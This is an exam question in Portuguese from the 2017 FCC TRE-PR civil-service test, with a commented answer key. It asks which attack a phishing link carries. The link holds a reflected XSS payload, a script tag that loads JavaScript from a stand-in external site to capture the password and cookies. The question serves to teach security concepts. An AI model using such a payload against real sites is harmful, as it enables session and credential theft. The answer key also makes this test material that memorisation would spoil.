Questão nº 52
Questão de Tecnologia da Informação · FCC TRE-PR 2017 (nº 52)
Considere uma aplicação em que um usuário efetua o login e, posteriormente, é redirecionado para uma tela principal. Isto poderia acontecer por meio de uma URL como a seguinte:
`http://www.aplicacaoweb.com.br/Default.aspx?usuario=idusuario`
Nesta URL, idusuario indica a conta com a qual o usuário se autenticou no website.
Suponha, agora, que o usuário USER acessou a aplicação e não fez o logoff de sua sessão enquanto estava ativa. Após certo tempo, o usuário USER recebe um e-mail no qual um hacker se faz passar pela empresa que mantém o website. O e-mail fornece um link disfarçado que redireciona USER para uma URL como esta:
`http://www.aplicacaoweb.com.br/Default.aspx?usuario=idusuario<script src='http://sitedesconhecido.com/ataque.js'>solicitarSenha();</script>`
Note que o parâmetro usuario contém também uma referência para um arquivo Javascript localizado em outro website. Caso USER clique no link, o código existente no endereço externo solicitaria que ele informasse novamente sua senha e, em caso afirmativo, o atacante receberia a informação desejada, podendo também roubar outras informações presentes em cookies e na sessão ativa naquele instante.
A situação apresentada configura um ataque do tipo
- ACross-Site Request Forgery (CSRF).
- BCross-Site Scripting Request (CSSR).
- CCross-Site DOM-Reflected (CSSDR).
- DCross-Site Request Forgery-Automation Attack (CSRF-AA).
- ECross-Site Scripting (XSS). (alternativa correta)
Resposta comentada
Gabarito Alternativa E
Cross-Site Scripting (XSS) é um tipo de ataque onde um invasor injeta código malicioso (geralmente JavaScript) em uma página web legítima, que é então executado no navegador de outros usuários que visitam essa página. Isso permite ao atacante roubar informações, manipular o site ou realizar outras ações maliciosas.
- (A) Incorreta: Cross-Site Request Forgery (CSRF) é um ataque onde um invasor força um usuário autenticado a executar ações indesejadas em um aplicativo web. O ataque CSRF não envolve a injeção de código executável na página do site alvo, mas sim o envio de uma requisição forjada para o servidor, aproveitando a sessão ativa do usuário. A armadilha aqui é que ambos envolvem um link malicioso e uma sessão ativa, mas a natureza da exploração é diferente: XSS injeta código que roda no navegador do usuário no site legítimo, enquanto CSRF força o navegador do usuário a enviar uma requisição indesejada para o site legítimo.
- (B) Incorreta: Cross-Site Scripting Request (CSSR) não é um termo padrão ou reconhecido na área de segurança da informação.
- (C) Incorreta: Cross-Site DOM-Reflected (CSSDR) não é um termo padrão ou reconhecido. Embora exista o conceito de XSS Refletido (que é o caso aqui) e XSS baseado em DOM, a sigla apresentada não corresponde a uma classificação oficial.
- (D) Incorreta: Cross-Site Request Forgery-Automation Attack (CSRF-AA) não é um termo padrão ou reconhecido na área de segurança da informação.
- (E) Correta: O cenário descreve classicamente um ataque de Cross-Site Scripting (XSS). O atacante injeta um código JavaScript malicioso (
<script src='...'></script>) no parâmetrousuarioda URL. Quando o navegador do usuário acessa essa URL, o código injetado é executado no contexto do site legítimo (www.aplicacaoweb.com.br), permitindo ao atacante roubar informações (como senhas ou cookies de sessão) ou manipular a página. Especificamente, trata-se de um XSS Refletido, onde o script malicioso é "refletido" de volta ao usuário através da resposta do servidor.
Fonte: FCC TRE-PR 2017 Técnico Judiciário - Área Apoio Especializado - Especialidade Programação de Sistemas (Caderno Tipo 1). Reproduzida para fins de estudo.